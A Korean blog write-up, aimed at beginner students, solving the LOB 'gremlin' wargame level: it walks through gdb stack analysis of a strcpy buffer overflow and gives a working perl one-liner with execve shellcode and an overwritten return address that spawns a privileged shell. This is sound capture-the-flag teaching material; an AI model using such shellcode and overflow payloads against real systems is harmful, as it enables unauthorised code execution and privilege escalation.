드디어 포스팅합니다.. 원래는 진작에 포스팅 됐어야했지만 최대한 보안 입문자들인 학교 후배들에게 도움이 되고자 Write-up을 작성하기 전에 풀이에 필요한 배경지식을 먼저 포스팅하고 올리기로 했습니다. 그래서 지금 쌓여있는 포스팅이 매우매우 많습니다. 제가 풀었던 문제들이나 공부했던 내용들을 다 포스팅하는게 목표인데 그게 쉽지가 않군요..ㅠㅠ 아무튼 풀이 시작합니다.

 

 

 gate 계정으로 로그인하면 위와 다르게 gremlin과 gremlin.c가 있을겁니다. 그리고 실행해보면 argv error를 뱉어내고 실행할때 인자값을 넘겨주면 입력한 인자값 그대로 출력하고 프로그램이 끝이 납니다. 그럼 바로 gdb로 분석을 시작해보겠습니다. 소스 파일을 보셔도되지만 가급적 보지 않는 것을 추천드립니다. 아래 접힌글에 코드를 첨부했으니 참고하실분들은 참고하시길 바랍니다.

...더보기
/*
	The Lord of the BOF : The Fellowship of the BOF
	- gremlin
	- simple BOF
*/

int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

 

 어셈블리어를 몰라도 대충 호출되는 함수만봐도 입력한 인자값을 그대로 어딘가에 복사해주고 출력해준다는 것을 알 수 있습니다. 매우 간단한 프로그램이네요. 일단 strcpy를 호출하는 부분에 bp(BreakPoint)를 걸고 실행해서 분석을 하려고 하면..!

 

 

 권한 문제로 진행이 되지 않습니다! 아까 위쪽에 있던 cremlin이 이 문제를 해결하기 위해 있던겁니다. gremlin 바이너리 자체가 권한이 gremlin이라는 계정에 있는데 이 바이너리를 복사해주면 gate에게 권한이 있는 바이너리가 생성됩니다. 그러면 권한 문제가 깔끔하게 해결이 됩니다. 그럼 바이너리를 복사하고 아까 얘기했던 분석을 진행해보도록 하겠습니다.

$cp gremlin cremlin
$gdb cremlin

(gdb)b *main+54
(gdb)r AAAAAAAA

 

 실행하면 딱 breakpoint를 걸었던 곳에서 프로그램이 멈추는데 이때 x/x 명령어를 통해 레지스터와 메모리 내용들을 살펴볼 수 있습니다. 일단 ' x/x '의 명령어에 대해 설명드리자면 앞의 x 는 eXamine memory를 뜻하고 뒤의 x 는 heX를 뜻합니다. 그러니까 메모리의 내용을 16진수로 출력한다는 뜻이 됩니다. 그리고 뒤쪽 x앞에 숫자는 사이즈라고 생각하시면 되는데 정확히는 지정된 주소부터 지정된 단위의 지정된 사이즈까지 메모리 내용을 출력해 달라는 뜻입니다. 예를 들어 위에 나와 있는 x/80wx $esp는 현재 esp의 주소부터 80 Word 만큼의 메모리를 보겠다는 뜻입니다. 만약에 Double Word만큼 보겠다면 x대신 gx를 적어주면 되겠습니다. 그냥 x만 적는 경우 이전에 사용한 단위로 출력해줍니다.

 다시 풀이로 돌아와서 지난번 포스팅했던 Return to Shellcode에 기본적인 함수의 스택 구조를 설명했었는데 그 내용을 토대로 현재 main 함수의 스택 구조를 간단하게 살펴보자면 아래와 같습니다.

 

명칭 주소 내용
??? 0xbffffb34 0xbffffb74
??? 0xbffffb30 0x00000002
RET 0xbffffb2c 0x400309cb
EBP(SFP) 0xbffffb28 0xbffffb48
.... ... ...
ESP 0xbffffa20 0xbffffa28

 

이전 포스팅에서 볼 수 없었던 ??? 항목 2개가 있는데 RET바로 위에 있는 물음표는 argc고 그 위에 있는것은 argv의 포인터 주소입니다. argc와 argv가 맞는지부터 확인하고 argc와 argv에 대해 설명해드리겠습니다.

 

 

 인자값으로 AAAA와 BBBB를 넘겨줘서 다시 실행시켜줬습니다. 중간에 띄어쓰기 꼭 넣어주셔야합니다. 그리고 argc에 해당하는 주소를 살펴보니 2에서 3으로 변경되어 있고 argv 포인터에 해당하는 주소를 살펴보니 3개의 주소 안에 바이너리의 경로와 인자값 AAAA와 BBBB가 있는 것을 확인할 수 있습니다. 이쯤되면 argc와 argv가 뭔지 감이 오실거라 생각합니다만 혹시 아직 잘 모르겠다 하시는 분들을 위해 한번 정리해보자면

 

argv[0] argv[1] argv[2]
File full path
/home/gate/cremlin
First argument
AAAA
Second argument
BBBB

 

 위와 같이 되겠습니다. argc는 argv의 개수라고 보시면 편하겠네요. 자 그럼 메인 함수의 스택 구성에 대해 파악했으니 다시 바이너리 분석으로 돌아가서 마저 분석해보도록 하겠습니다.

 

 

 다시 strcpy을 호출하는 부분에 bp를 걸고 AAAABBBB를 인자값으로 넣고 실행했습니다. strcpy호출 전/후 차이를 보시면 빨간 박스 부분에 기존의 어떤한 값에서 0x41414141과 0x42424242로 변경된것을 확인할 수 있습니다. 이 값들은 'A'와 'B'의 아스키코드를 16진수로 표현한 값입니다. 자, 그럼 strcpy에서 argv[1]의 값을 읽어와 저 위치에 넣어준다는 뜻이 되겠죠? 그렇다면 저 위치에 Shellcode를 넣고 EBP까지 무의미한 값을 넣은다음 Return Address에 저 위치의 주소를 넣으면 Shellcode가 실행이 되겠군요!
 그럼 먼저 정확히 얼마만큼의 데이터를 넣어야 EBP까지 덮어 씌워지는지 확인해보겠습니다. 단순히 EBP 주소 - 0x41414141의 주소를 하면되겠네요.

(gdb) x/x $esp+8
0xbffffa28:	0x41414141
(gdb) x/x $ebp
0xbffffb28:	0xbffffb48

 스샷은 사치니까 그냥 gdb명령어와 결과를 복붙했습니다. 보면 주소값이 0xbffffa28과 0xbffffb28입니다. 차이가 정확히 0x100만큼 차이나네요! 그리고 0x100은 10진수로 256입니다. 그럼 아래와 같은 값을 넣으면 Shellcode가 실행되겠죠?

 

0xbffffa28 0xbffffa28 ~ $EBP-4 EBP(SFP) Return Address
Shellcode AAAAAAAA....
[(260 - Shellcode Length) * A]
0xbffffa28

 

쉘코드는 인터넷에서 하나 긁어오겠습니다. 제가 긁어온 쉘코드는 33Byte짜리 쉘코드입니다. 그럼 다시 정리하자면

Shellcode(33byte) + A(227Byte) + 0xbffffa28(4Byte)

가 되겠군요. 근데 A를 223개를 수동으로 입력할 수 없으니 스크립트를 이용해서 할겁니다. 스크립트는 Perl이든 Python이든 상관 없으니 편하신걸로 사용하면 됩니다. 그럼 한번 시도해보도록 하죠.

 

$./cremlin `perl -e 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80","A"x227,"\x28\xfa\xff\xbf"'`

 

 예상과 다르게 Illegal instruction이 터지면서 프로그램이 종료됩니다. 그 이유는 argv에 있습니다. gdb에서 위와 같은 코드를 그대로 실행하고 분석해보겠습니다.

 

 
 일단 저희가 예상한대로 잘 덮어졌습니다. Return Address가 0xbffffa28로 덮어 씌워졌는데 막상 저 위치를 보니 Shellcode가 아니라 'A'가 있습니다. 그리고 Shellcode는 0xbffffa28이 아니라 0xbffff928에 있네요! 기존 주소에서 딱 0x100만큼 밀렸습니다! 주소가 밀린 이유는 argv 때문입니다. 저희가 처음에는 인자값으로 AAAABBBB, 총 8Byte짜리 값을 넘겼고 이번엔 인자값으로 Shellcode(33Byte) + A(227Byte) + Return Address(4Byte), 총 264Byte를 넘겼죠. 그럼 argv에 그만큼 추가 공간이 필요하고 그 공간을 확보하느라 나머지 주소가 전부다 0x100만큼 밀린겁니다. 그럼 주소값을 수정해서 다시 시도해보겠습니다.

 

$./gremlin `perl -e 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80","A"x227,"\x28\xf9\xff\xbf"'`

끝!

 

'Pwnable > LOB(Red Hat)' 카테고리의 다른 글

LOB(Redhat) 시작하기  (0) 2019.08.03

+ Recent posts